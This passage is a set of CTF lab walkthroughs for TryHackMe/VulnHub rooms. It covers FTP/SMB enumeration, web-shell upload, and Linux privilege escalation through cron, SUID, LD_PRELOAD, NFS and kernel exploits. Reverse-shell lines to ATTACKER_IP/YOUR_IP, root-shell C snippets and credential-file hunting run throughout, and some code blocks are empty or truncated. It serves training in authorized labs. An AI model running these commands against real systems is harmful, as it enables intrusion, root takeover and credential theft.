# 230 Login successful.

# List files
ls -la

# Sample output:
# drwxr-xr-x    2 0        65534        4096 Mar 17  2020 .
# drwxr-xr-x    2 0        65534        4096 Mar 17  2020 ..
# -rw-r--r--    1 0        0             104 Mar 17  2020 remove.sh
# -rw-r--r--    1 0        0             139 Mar 17  2020 clean.sh

# Download files
get remove.sh
get clean.sh

# Check file contents
cat remove.sh
cat clean.sh
💡 Finding: The scripts might contain interesting information or hints about other vulnerabilities.

📂 Phase 3: SMB Share Access

Access the discovered SMB share to find more information.

# Access the "pics" share anonymously
smbclient //TARGET_IP/pics -N

# OR with specific command
smbclient \\\\TARGET_IP\\pics -N

# Once connected, list files
ls

# Sample output:
#   .                                   D        0  Thu May 14 19:20:41 2020
#   ..                                  D        0  Thu May 14 19:20:41 2020
#   corgo2.jpg                          N    42663  Thu May 14 19:20:41 2020
#   puppos.jpeg                         N    26526  Thu May 14 19:20:41 2020

# Download files
get corgo2.jpg
get puppos.jpeg

# Check for hidden files or other shares
smbclient -L //TARGET_IP/ -U ''%''

🏁 Phase 4: Finding User Flag (user.txt)

Search for the user flag by exploring accessible directories.

# Let's check if we can find the flag through FTP
# First, check if there are any interesting directories
ftp> ls -la
# Look for hints in the scripts

# Check the scripts we downloaded from FTP
cat remove.sh
# Sample content:
# #!/bin/bash
# echo "Removing old logs" > /dev/null
# rm -f /home/namelessone/logs/*
# rm -f /var/log/samba/old.log

cat clean.sh
# Sample content:
# #!/bin/bash
# echo "Cleaning up" > /dev/null
# rm -f /tmp/*
# rm -f /home/namelessone/tmp/*

# The scripts mention /home/namelessone/
# This might be a user directory

# Check if we can access /home/namelessone via SMB
smbclient //TARGET_IP/namelessone -N
# If not, try other methods

# The user flag is typically found by:
# 1. Checking if we can write to FTP directory
# 2. Uploading a reverse shell
# 3. Getting initial access

# Method: Upload PHP reverse shell via FTP (if writable)
# Create a PHP shell
cat > shell.php << 'EOF'

EOF

# Upload via FTP
ftp> put shell.php

# If FTP directory is served via web, access it
# http://TARGET_IP/shell.php?cmd=id

# Alternative: Look for the flag in accessible locations
# Once you get a shell, search for user.txt
find / -name "user.txt" -type f 2>/dev/null
# Usually located in: /home/namelessone/user.txt

# Read the flag
cat /home/namelessone/user.txt

# Answer: Submit the flag value

🚀 Phase 5: Privilege Escalation to Root

Escalate privileges from user to root using misconfigurations.

# Once you have initial shell (as namelessone or www-data)
# First, check sudo permissions
sudo -l

# Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Check capabilities
getcap -r / 2>/dev/null

# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Check writable files
find / -writable -type f 2>/dev/null | grep -v "/proc/"

# In this room, common escalation vectors:

# 1. Check the scripts from FTP
# The remove.sh and clean.sh scripts might be run as root via cron
# Check if they're writable
ls -la /home/namelessone/
ls -la /scripts/  # if they were moved

# 2. If scripts are run as root and writable
# Edit them to add reverse shell or set SUID on bash
echo '#!/bin/bash' > /path/to/script.sh
echo 'chmod +s /bin/bash' >> /path/to/script.sh
chmod +x /path/to/script.sh

# Wait for cron to execute
# Then run: /bin/bash -p

# 3. Check for unusual SUID binaries
# Look for /usr/bin/env with SUID
find / -perm -4000 -type f 2>/dev/null | grep env

# 4. Check for PATH exploitation
echo $PATH
# If current directory is in PATH and you can write to a directory in PATH
# Create malicious binary with same name as one executed by root

# Common in this room: SUID on /usr/bin/env
# Exploit with:
/usr/bin/env /bin/bash -p

# OR check for other misconfigurations
# After getting root shell:
whoami
# Should output: root

🏆 Phase 6: Finding Root Flag (root.txt)

# As root, find the root flag
find / -name "root.txt" -type f 2>/dev/null

# Common locations:
# /root/root.txt
# /root/proof.txt
# /root/flag.txt

# Usually located at:
cat /root/root.txt

# If not found, check:
ls -la /root/
cat /root/flag.txt
cat /root/proof.txt

# Answer: Submit the flag value

📋 Complete Step-by-Step Walkthrough

# ============ COMPLETE ANONYMOUS ROOM WALKTHROUGH ============

# 1. DEPLOY & CONNECT
# Start machine → Get IP → Connect via OpenVPN

# 2. ENUMERATION
nmap -sV -sC TARGET_IP
# Ports: 21(FTP), 22(SSH), 139/445(SMB)

# 3. FTP EXPLORATION
ftp TARGET_IP
# Login: anonymous (no password)
# Download: remove.sh, clean.sh
# Check scripts for hints

# 4. SMB ENUMERATION
smbclient -L //TARGET_IP/ -N
# Discover share: pics
smbclient //TARGET_IP/pics -N
# Download files (optional)

# 5. GET INITIAL ACCESS
# Check if FTP directory is writable
# If yes, upload reverse shell
# If not, check scripts for clues

# 6. PRIVILEGE ESCALATION
# Common methods in this room:
# - SUID misconfiguration (env)
# - Writable scripts run by cron
# - PATH exploitation

# Check SUID binaries:
find / -perm -u=s -type f 2>/dev/null
# Look for /usr/bin/env with SUID

# Exploit SUID env:
/usr/bin/env /bin/bash -p
# OR
/usr/bin/env bash -p

# 7. GET FLAGS
# User flag: /home/namelessone/user.txt
# Root flag: /root/root.txt

# ============ ROOM COMPLETE ============

🔄 Alternative Exploitation Methods

# METHOD 1: Through scripts (if they exist in system)
# Find where scripts from FTP are located on system
find / -name "remove.sh" -o -name "clean.sh" 2>/dev/null

# If found and writable, edit to add reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/script.sh

# Start listener and wait for cron execution

# METHOD 2: Through SMB (if writable share)
# Check if pics share is writable
smbclient //TARGET_IP/pics -N
smb: \> put test.txt
# If successful, upload reverse shell

# METHOD 3: Through SSH (if credentials found)
# Check scripts for passwords
# Try default/common credentials
ssh namelessone@TARGET_IP
# Password: (try from script hints or brute force)

🧾 Key Takeaways & Learning Points

  • Anonymous Services: Always check for anonymous FTP/SMB access
  • Script Analysis: Downloaded files often contain valuable hints
  • SMB Enumeration: Use multiple tools (smbclient, enum4linux, nmap scripts)
  • SUID Exploitation: /usr/bin/env with SUID is a common misconfiguration
  • Defense Lessons:
    • Disable anonymous FTP access
    • Restrict SMB share permissions
    • Regularly audit SUID binaries
    • Monitor cron jobs and scripts
    • Use proper file permissions
📚 Additional Resources:
  • SMB Security Best Practices
  • FTP Server Hardening Guide
  • Linux SUID/SGID Management
  • Cron Job Security
  • TryHackMe Learning Paths
Lab Complete! You've successfully completed the Anonymous room, demonstrating FTP/SMB enumeration and Linux privilege escalation.

🧪 Lab 27.5 – RootMe CTF (Recon → Privilege Escalation)

Complete walkthrough for the TryHackMe RootMe room - a beginner-friendly CTF demonstrating web application exploitation and Linux privilege escalation.

⚠️ For TryHackMe lab environments only. Always follow legal and ethical guidelines.

🚀 Task 1: Deploy the Machine

# Start the machine
# Click "Start Machine" button

# Get the target IP address
# Example: 10.10.10.10

# Connect to TryHackMe network via OpenVPN
sudo openvpn your-config.ovpn

# Verify connectivity
ping -c 3 TARGET_IP

🔍 Task 2: Reconnaissance

First, gather information about the target through port scanning and service enumeration.

Question 1: Scan the machine, how many ports are open?
# Perform initial Nmap scan
nmap -sS -p- TARGET_IP

# OR with service detection
nmap -sV -sC TARGET_IP

# Sample output:
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

# Answer: 2 ports are open (22 and 80)
Question 2: What version of Apache is running?
# From Nmap output or use curl to check headers
curl -I http://TARGET_IP/

# Output:
# HTTP/1.1 200 OK
# Server: Apache/2.4.29 (Ubuntu)

# Answer: Apache/2.4.29
Question 3: What service is running on port 22?
# From Nmap scan output:
# 22/tcp open ssh

# Answer: SSH (OpenSSH)
Question 4: Find directories on the web server using GoBuster
# Install gobuster if not already installed
sudo apt install gobuster

# Run directory enumeration
gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt

# Sample output:
# /panel               (Status: 301)
# /uploads             (Status: 301)
# /css                 (Status: 301)
# /js                  (Status: 301)
# /index.php           (Status: 200)
Question 5: What is the hidden directory?
# From gobuster results, look for interesting directories
# /panel and /uploads are the important ones

# Explore /panel directory
curl http://TARGET_IP/panel/

# This reveals a file upload panel
# Answer: /panel

⚔️ Task 3: Getting a Shell

Exploit the file upload vulnerability to gain initial access and find the user flag.

Question: Find the user.txt flag
# 1. Visit the upload panel
# Go to: http://TARGET_IP/panel/

# 2. Upload a PHP reverse shell
# Create a PHP reverse shell file (php-reverse-shell.php)
# You can use PentestMonkey's PHP reverse shell
# Or create your own:

cat > shell.php << 'EOF'

EOF

# 3. Try to upload the shell
# If PHP is blocked, try alternative extensions:
# - shell.php5
# - shell.phtml
# - shell.php7

# 4. In this room, .phtml works
mv shell.php shell.phtml

# 5. Upload shell.phtml through /panel/

# 6. Access the uploaded file
# Files are uploaded to /uploads/
curl "http://TARGET_IP/uploads/shell.phtml?cmd=id"

# Should return: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# 7. Get a reverse shell
# First start listener on your machine:
# nc -lvnp 4444

# Then execute reverse shell command:
curl "http://TARGET_IP/uploads/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/YOUR_IP/4444+0>%261'"

# 8. Stabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 9. Find the user flag
find / -name "user.txt" -type f 2>/dev/null
# Usually located in: /var/www/user.txt

# Read the flag
cat /var/www/user.txt
# OR
cat /home/rootme/user.txt

# Answer: Submit the flag value

🚀 Task 4: Privilege Escalation

Escalate privileges from www-data to root using SUID binaries.

Question 1: Search for files with SUID permission, which file is weird?
# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Sample output:
# /usr/bin/python
# /usr/bin/sudo
# /usr/bin/find
# /usr/bin/gpasswd
# /usr/bin/chfn
# /usr/bin/chsh
# /usr/bin/newgrp
# /usr/bin/passwd
# /usr/bin/pkexec
# /usr/bin/at
# /usr/local/bin/python   <-- This is interesting!

# /usr/local/bin/python is unusual because:
# 1. It's in /usr/local/bin/ (not standard)
# 2. Python with SUID is dangerous

# Check the python version
/usr/local/bin/python --version

# Answer: /usr/local/bin/python
Question 2: Find a form to escalate your privileges
# Exploit the SUID python binary
# Since python has SUID bit set, it runs with root privileges

# Method 1: Spawn a root shell
/usr/local/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Method 2: Using python's os module
/usr/local/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Method 3: Interactive python shell
/usr/local/bin/python
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash")

# After getting root shell, verify
whoami
# Should output: root

id
# uid=0(root) gid=33(www-data) groups=33(www-data)

# Alternative method using GTFOBins reference:
# Reference: https://gtfobins.github.io/gtfobins/python/#suid

# Answer: Use the SUID python binary to escalate privileges
Question 3: Find root.txt
# As root, find the root flag
find / -name "root.txt" -type f 2>/dev/null

# Common locations:
# /root/root.txt
# /root/proof.txt
# /root/flag.txt

# Usually located at:
cat /root/root.txt

# If not found, check other common locations:
ls -la /root/
cat /root/flag.txt
cat /root/proof.txt

# Answer: Submit the flag value

📋 Complete Step-by-Step Walkthrough

# ============ COMPLETE ROOTME ROOM WALKTHROUGH ============

# 1. DEPLOY & CONNECT
# Start machine → Get IP → Connect via OpenVPN

# 2. RECONNAISSANCE
nmap -sV -sC TARGET_IP
# Ports open: 22 (SSH), 80 (HTTP Apache/2.4.29)

gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt
# Found: /panel/, /uploads/

# 3. FILE UPLOAD EXPLOITATION
# Visit http://TARGET_IP/panel/
# Upload PHP shell as .phtml extension
# Access: http://TARGET_IP/uploads/shell.phtml?cmd=id

# 4. REVERSE SHELL
# On attacker machine: nc -lvnp 4444
curl "http://TARGET_IP/uploads/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"

# 5. SHELL STABILIZATION
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then: stty raw -echo; fg

# 6. FIND USER FLAG
find / -name "user.txt" 2>/dev/null
cat /var/www/user.txt

# 7. PRIVILEGE ESCALATION
find / -perm -u=s -type f 2>/dev/null
# Found: /usr/local/bin/python (SUID)

# 8. BECOME ROOT
/usr/local/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 9. GET ROOT FLAG
cat /root/root.txt

# ============ ROOM COMPLETE ============

🧾 Key Takeaways & Learning Points

  • Reconnaissance is Critical: Nmap and GoBuster revealed attack vectors
  • File Upload Vulnerabilities: Unrestricted file upload → RCE
  • Extension Bypass: .phtml worked when .php was blocked
  • SUID Misconfigurations: Python with SUID → Root access
  • Defense Lessons:
    • Validate file uploads (type, content, extensions)
    • Remove unnecessary SUID binaries
    • Keep software updated
    • Use principle of least privilege
📚 Additional Resources:
  • OWASP File Upload Cheat Sheet
  • GTFOBins (Linux Binary Exploitation)
  • Linux Privilege Escalation Checklist
  • TryHackMe Learning Paths
Lab Complete! You've successfully completed the RootMe room, demonstrating web application exploitation and Linux privilege escalation.

❄️ Lab 27.6 – ColdBox: Easy (Recon → Web Exploitation → Privilege Escalation)

This lab simulates a realistic beginner-friendly penetration test against a vulnerable WordPress-based system. The goal is to practice methodical enumeration, controlled exploitation, and basic Linux privilege escalation in an authorized lab environment.

⚠️ Perform these steps only in authorized labs (e.g., VulnHub / TryHackMe / local VM). Never attack live systems without written permission.

🔍 Phase 1: Aggressive Network Scanning

ColdBox exposes limited services, so a fast, aggressive scan helps identify all reachable attack surfaces early.

nmap -A <TARGET_IP> --min-rate 1000
  • ✔ OS detection and service fingerprinting
  • ✔ Default script execution
  • ✔ Version and banner disclosure
💡 In ColdBox, HTTP is typically the primary attack vector.

🌐 Phase 2: Web Technology Fingerprinting

Before brute forcing or exploitation, identify the technologies, CMS, and server stack in use.

whatweb http://<TARGET_IP>
  • ✔ Detects WordPress CMS
  • ✔ Reveals server and language details
  • ✔ Confirms attack surface

📂 Phase 3: Directory Enumeration

Hidden directories often expose admin panels, backup files, or configuration leaks.

feroxbuster --url http://<TARGET_IP>
⚠️ Pay close attention to /wp-admin and /wp-content.

🧠 Phase 4: WordPress Enumeration

WPScan is used to identify WordPress users, plugins, themes, and misconfigurations.

wpscan --update
wpscan --url http://<TARGET_IP> -e u,p
  • ✔ Enumerates valid usernames
  • ✔ Detects vulnerable plugins
  • ✔ Identifies weak configurations

🔐 Phase 5: WordPress Credential Attack (Lab)

If a valid username is identified, a password attack may be tested in a controlled lab environment.

wpscan --url http://<TARGET_IP> -u <USERNAME> -p /usr/share/wordlists/rockyou.txt
💡 Weak passwords are one of the most common WordPress compromises.

⚔️ Phase 6: Web Shell Upload (Conceptual)

With WordPress admin access, attackers may upload malicious PHP code disguised as themes or plugins.

Common research query:

php reverse shell.php

The payload may be uploaded via the WordPress dashboard (Appearance → Theme Editor or Plugin Upload).


📡 Phase 7: Reverse Shell Listener

nc -lvnp 1234
  • ✔ Receives reverse shell
  • ✔ Confirms remote command execution
  • ✔ Establishes foothold

📁 Phase 8: Local File System Enumeration

On web-based labs, application files are commonly located in:

/var/www/html
💡 Configuration files may contain credentials or secrets.

🚀 Phase 9: Privilege Escalation

sudo -l

Misconfigured sudo permissions or writable scripts often allow elevation to root.

💡 Reference dangerous binaries using GTFOBins.
https://gtfobins.github.io/

🏆 Final Phase: Root Access Validation

✅ ColdBox: Easy completed — document findings, impacted services, and remediation steps.

🧾 Key Takeaways

  • ✔ Enumeration reveals real attack paths
  • ✔ CMS security depends on credentials
  • ✔ File upload equals code execution
  • ✔ Privilege escalation defines impact

🎯 Lab 27.2 – Linux PrivEsc Room (Complete Walkthrough)

Complete step-by-step guide for TryHackMe Linux Privilege Escalation room. SSH credentials: user:password321

⚠️ For educational purposes only. Use only in authorized lab environments.

Task 1: Deploy & Initial Connection

# Deploy the machine
# Click "Start Machine" button

# Connect via SSH with workaround for deprecated ssh-rsa
ssh -oHostKeyAlgorithms=+ssh-rsa user@MACHINE_IP

# Alternative connection method if above doesn't work:
ssh -o HostKeyAlgorithms=ssh-rsa user@MACHINE_IP

# When prompted, type "yes" and press Enter
# Password: password321

# Verify connection
whoami
# Output: user

# Run the id command
id
# Expected output: uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
                                 

Task 2: Service Exploits

# Check for MySQL running as root
ps aux | grep mysql

# If MySQL is running as root and has empty password
mysql -u root

# In MySQL, create a User Defined Function (UDF) exploit
# 1. Check MySQL version
SELECT version();

# 2. If vulnerable to raptor_udf exploit:
SELECT sys_exec('chmod +s /bin/bash');
SELECT sys_exec('chown root:root /bin/bash');

# 3. Execute bash with root privileges
/bin/bash -p
                                 

Task 3: Weak File Permissions - Readable /etc/shadow

# Check if /etc/shadow is readable
ls -la /etc/shadow
# If readable (-rw-r--r--), proceed

# View the shadow file
cat /etc/shadow

# Copy root's hash to a file
cat /etc/shadow | grep root > hash.txt

# Crack the hash with john
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Or use hashcat
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# Once cracked, su to root with the password
su root
# Enter cracked password
                                 

Task 4: Weak File Permissions - Writable /etc/shadow

# Check if /etc/shadow is writable
ls -la /etc/shadow
# If writable by user (-rw-rw-rw- or similar), proceed

# Create a new password hash for root
mkpasswd -m sha-512 newpassword
# Output: $6$salt$hashed_password

# Replace root's hash in /etc/shadow
# Backup original first
cp /etc/shadow /etc/shadow.bak

# Edit the file (replace the root hash)
nano /etc/shadow
# OR use sed
sed -i 's/^root:.*/root:$6$newhash$...:18818:0:99999:7:::/' /etc/shadow

# Now su to root with new password
su root
# Enter: newpassword
                                 

Task 5: Weak File Permissions - Writable /etc/passwd

# Check if /etc/passwd is writable
ls -la /etc/passwd
# If writable (-rw-rw-rw-), proceed

# Generate a password hash for a new root user
openssl passwd -1 -salt abc password123
# Output: $1$abc$hashed_password

# Add a new root user to /etc/passwd
echo 'newroot:$1$abc$hashed_password:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch to the new root user
su newroot
# Password: password123

# OR modify existing root entry
cp /etc/passwd /etc/passwd.bak
sed -i 's/^root:.*/root:$1$abc$hashed_password:0:0:root:/root:/bin/bash/' /etc/passwd
su root
                                 

Task 6: Sudo - Shell Escape Sequences

# First check sudo permissions
sudo -l
# Look for programs you can run as root

# Common shell escape sequences:

# 1. If you can run less or more:
sudo less /etc/profile
# In less, type: !/bin/bash

# 2. If you can run vi or vim:
sudo vi -c '!bash'

# 3. If you can run nmap (interactive mode):
sudo nmap --interactive
nmap> !bash

# 4. If you can run awk:
sudo awk 'BEGIN {system("/bin/bash")}'

# 5. If you can run ftp:
sudo ftp
ftp> !bash

# 6. If you can run man:
sudo man man
# Then type: !bash

# 7. If you can run find:
sudo find / -exec /bin/bash \;

# 8. If you can run python/perl:
sudo python -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
                                 

Task 7: Sudo - Environment Variables

# Check sudo permissions with env_keep
sudo -l
# Look for: env_keep += LD_PRELOAD

# If LD_PRELOAD is preserved:
# 1. Create malicious shared library
cd /tmp
cat > exploit.c << 'EOF'
#include 
#include 
#include 
#include 
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash");
}
EOF

# 2. Compile it
gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles

# 3. Execute with sudo
sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/command_you_can_run

# Alternative method for other environment variables:
# If you can set EDITOR, VISUAL, or PAGER
export EDITOR='vim -- /etc/sudoers'
export VISUAL='vim -- /etc/sudoers'
# Then run a sudo command that uses these
                                 

Task 8: Cron Jobs - File Permissions

# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/

# Look for cron jobs that run scripts
# Example: * * * * * root /usr/local/bin/overwrite.sh

# Check if the script is writable
ls -la /usr/local/bin/overwrite.sh

# If writable, replace with reverse shell
echo '#!/bin/bash' > /usr/local/bin/overwrite.sh
echo 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' >> /usr/local/bin/overwrite.sh
chmod +x /usr/local/bin/overwrite.sh

# Start listener on your machine
# nc -nvlp 4444

# Wait for cron to execute (max 1 minute)

# Alternative: if you can write to /etc/cron.d/
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/YOUR_IP/5555 0>&1"' > /etc/cron.d/exploit
# Wait for execution
                                 

Task 9: Cron Jobs - PATH Environment Variable

# Check cron jobs that use relative paths
cat /etc/crontab

# Look for jobs like: * * * * * root overwrite.sh
# (without full path /usr/local/bin/overwrite.sh)

# Find where the script is supposed to be
find / -name overwrite.sh 2>/dev/null

# If the script is in a directory you can write to:
# 1. Create malicious script
echo '#!/bin/bash' > /path/to/overwrite.sh
echo '/bin/bash -i >& /dev/tcp/YOUR_IP/6666 0>&1' >> /path/to/overwrite.sh
chmod +x /path/to/overwrite.sh

# 2. Modify PATH to include your directory first
export PATH=/tmp:$PATH
# Or create the script in a directory already in PATH

# 3. Wait for cron to execute

# Check current PATH in cron context
# Sometimes cron uses a minimal PATH
grep PATH /etc/crontab

Task 10: Cron Jobs - Wildcards

# Look for cron jobs with wildcards
cat /etc/crontab

# Example: * * * * * root tar -zcf /var/backups/backup.tar.gz *

# If the directory is writable:
cd /path/to/writable/directory

# Create malicious files that tar will execute
echo '#!/bin/bash' > shell.sh
echo 'bash -i >& /dev/tcp/YOUR_IP/7777 0>&1' >> shell.sh
chmod +x shell.sh

# Create tar checkpoint exploit files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# Alternative method using tar's --to-command
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'

# Or create files that get executed through filename parsing
touch '--checkpoint=1'
touch '--checkpoint-action=exec=bash shell.sh'

# Start listener and wait
# nc -nvlp 7777

Task 11: SUID/SGID Executables - Known Exploits

# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -g=s -type f 2>/dev/null

# Common vulnerable SUID binaries to check:
# - /usr/bin/find
# - /usr/bin/nmap (old versions)
# - /usr/bin/vim
# - /usr/bin/less
# - /usr/bin/more
# - /usr/bin/awk
# - /usr/bin/man
# - /usr/sbin/exim

# Check for known exploits
# Example with find:
/usr/bin/find . -exec /bin/bash -p \;

# Example with nmap (if old version):
nmap --interactive
nmap> !bash

# Check versions of SUID binaries
/usr/bin/find --version
/usr/bin/nmap --version

# Search for exploits
searchsploit find suid
searchsploit nmap suid

Task 12: SUID/SGID Executables - Shared Object Injection

# Find SUID binaries that load shared libraries
# Use strace to find missing libraries
strace /usr/local/bin/suid-so 2>&1 | grep -i "no such file"

# Example output might show:
# open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

# Create the missing directory
mkdir -p /home/user/.config

# Create malicious shared object
cat > /home/user/.config/libcalc.c << 'EOF'
#include 
#include 
#include 

static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

# Compile the shared object
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c

# Execute the SUID binary
/usr/local/bin/suid-so

Task 13: SUID/SGID Executables - Environment Variables

# Find SUID binaries that use environment variables
strings /usr/local/bin/suid-env | grep -i "PATH\|PAGER\|EDITOR\|VISUAL"

# Example: if it uses service without full path
# 1. Check what service calls
strings /usr/local/bin/suid-env

# 2. If it calls a binary without full path (like "service")
# Create malicious binary
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service

# 3. Modify PATH
export PATH=/tmp:$PATH

# 4. Execute the SUID binary
/usr/local/bin/suid-env

# For other environment variables:
# If binary uses PAGER, EDITOR, VISUAL, etc.
export PAGER='/bin/bash -p'
export EDITOR='/bin/bash -p'
export VISUAL='/bin/bash -p'
# Then run the SUID binary

Task 14: SUID/SGID Executables - Abusing Shell Features (#1)

# Check for SUID bash
ls -la /bin/bash

# If bash is SUID:
/bin/bash -p
# This should give you root shell if bash is SUID

# If /bin/sh is symlinked to bash and SUID:
/bin/sh -p

# Check shell versions
/bin/bash --version
/bin/sh --version

# Bash versions < 4.2-048 have vulnerabilities
# Check for shellshock vulnerability
env x='() { :;}; echo vulnerable' bash -c "echo test"

# If vulnerable to shellshock:
# Create SUID bash shell
env x='() { :;}; chmod +s /bin/bash' bash -c "echo exploited"
/bin/bash -p

Task 15: SUID/SGID Executables - Abusing Shell Features (#2)

# Check for SUID binaries that use system() with shell
strings /usr/local/bin/suid-env2 | grep system

# If it uses system() without full path to shell
# Example in code: system("service apache2 start")

# The system() function uses /bin/sh
# Check what /bin/sh is linked to
ls -la /bin/sh

# If /bin/sh is dash (Debian Almquist shell), it drops privileges
# But we can make it symlink to bash
# 1. Backup original sh
cp /bin/sh /bin/sh.bak

# 2. Create symlink to bash
ln -sf /bin/bash /bin/sh

# 3. Execute the SUID binary
/usr/local/bin/suid-env2

# 4. Restore original sh
mv /bin/sh.bak /bin/sh

# Alternative: create a custom shell that doesn't drop privileges
cat > /tmp/shell.c << 'EOF'
#include 
#include 
#include 
int main() {
    setuid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc -o /tmp/shell /tmp/shell.c
ln -sf /tmp/shell /bin/sh

Task 16: Passwords & Keys - History Files

# Check current user's history
history
cat ~/.bash_history

# Check other users' history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# Look for passwords in history
history | grep -i "pass"
cat ~/.bash_history | grep -E "(pass|pwd|secret|key|auth)"

# Check mysql history
cat ~/.mysql_history 2>/dev/null

# Check sudo commands in history
history | grep sudo

# Look for sensitive commands:
# - ssh with passwords
# - mysql/mariadb connections
# - su commands
# - curl/wget with authentication
# - git push with tokens

# Example finding:
# mysql -u root -pPASSWORD
# ssh user@host -p PASSWORD
# curl -u user:password http://example.com

Task 17: Passwords & Keys - Config Files

# Search for common config files with passwords
find / -type f -name "*.conf" -o -name "*.config" -o -name "*.cfg" 2>/dev/null | head -20

# Grep for passwords in config files
grep -r "password" /etc/ 2>/dev/null | head -20
grep -r "pass" /home/ 2>/dev/null
grep -r "PASS" /var/www/ 2>/dev/null

# Check specific common config files:
# MySQL
cat /etc/mysql/debian.cnf 2>/dev/null
# PHP
find /var/www -name "config.php" -o -name "settings.php" 2>/dev/null | xargs grep -i "pass" 2>/dev/null
# SSH
cat /etc/ssh/sshd_config 2>/dev/null | grep -i "pass"
# Samba
cat /etc/samba/smb.conf 2>/dev/null | grep -i "pass"
# Apache
find /etc/apache2 -type f -exec grep -i "pass" {} \; 2>/dev/null

# Check for .env files (common in web apps)
find / -name ".env" -type f 2>/dev/null
find /var/www -name ".env" -type f 2>/dev/null

Task 18: Passwords & Keys - SSH Keys

# Search for SSH keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null

# Check common SSH key locations
ls -la /home/*/.ssh/ 2>/dev/null
ls -la /root/.ssh/ 2>/dev/null

# Check for authorized_keys files
find / -name authorized_keys 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null
cat /root/.ssh/authorized_keys 2>/dev/null

# If you find an SSH key:
cat /home/user/.ssh/id_rsa
# Copy the private key content

# On your attacker machine, create file:
vim key.txt
# Paste the private key
# -----BEGIN RSA PRIVATE KEY-----
# [key data]
# -----END RSA PRIVATE KEY-----

# Set proper permissions
chmod 600 key.txt

# Use the key to SSH
ssh -i key.txt user@TARGET_IP

# If key has passphrase, crack it:
ssh2john key.txt > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Task 19: NFS

# Check NFS exports on target
cat /etc/exports

# Look for lines without no_root_squash:
# Example: /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

# On YOUR attacker machine:
# 1. Show NFS shares
showmount -e TARGET_IP

# 2. Create mount point
mkdir /tmp/nfs

# 3. Mount the share
mount -o rw,vers=2 TARGET_IP:/tmp /tmp/nfs

# 4. Create SUID binary
cp /bin/bash /tmp/nfs/bash
chmod +xs /tmp/nfs/bash

# 5. On target machine, execute:
/tmp/bash -p

# Alternative: create a C program
cat > /tmp/nfs/exploit.c << 'EOF'
#include 
#include 
#include 
int main() {
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}
EOF

gcc /tmp/nfs/exploit.c -o /tmp/nfs/exploit
chmod +s /tmp/nfs/exploit

# On target: /tmp/exploit

# If no_root_squash is not set, try:
# Create a user with same UID as root on attacker
useradd attacker -u 0 -o -g 0
su attacker
# Then create files on NFS share

Task 20: Kernel Exploits

# Check kernel version
uname -a
# Output: Linux debian 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux

# Check OS version
cat /etc/os-release
# Output: PRETTY_NAME="Debian GNU/Linux 8 (jessie)"

# Search for kernel exploits
searchsploit linux kernel 3.16
searchsploit debian 8

# Common kernel exploits for this room:
# 1. overlayfs (CVE-2015-1328)
# 2. DirtyCow (CVE-2016-5195) - if kernel < 4.8.3

# Download and compile DirtyCow exploit
cd /tmp
wget https://www.exploit-db.com/download/40839 -O dirtycow.c
gcc -pthread dirtycow.c -o dirtycow -lcrypt
./dirtycow

# Or use pre-compiled exploits from /home/user/tools/
cd /home/user/tools/kernel-exploits/
ls -la

# Try overlayfs exploit:
cd /home/user/tools/kernel-exploits/overlayfs/
./overlayfs

# If successful, you'll get root shell
whoami
# Output: root

# Always check exploit compatibility before running
# Some exploits might crash the system

Task 21: Privilege Escalation Scripts

# Use automated enumeration scripts
# Common scripts available in /home/user/tools/

# LinEnum - Basic enumeration
cd /home/user/tools/
./linenum.sh

# LinPEAS - Advanced enumeration
# Download if not available
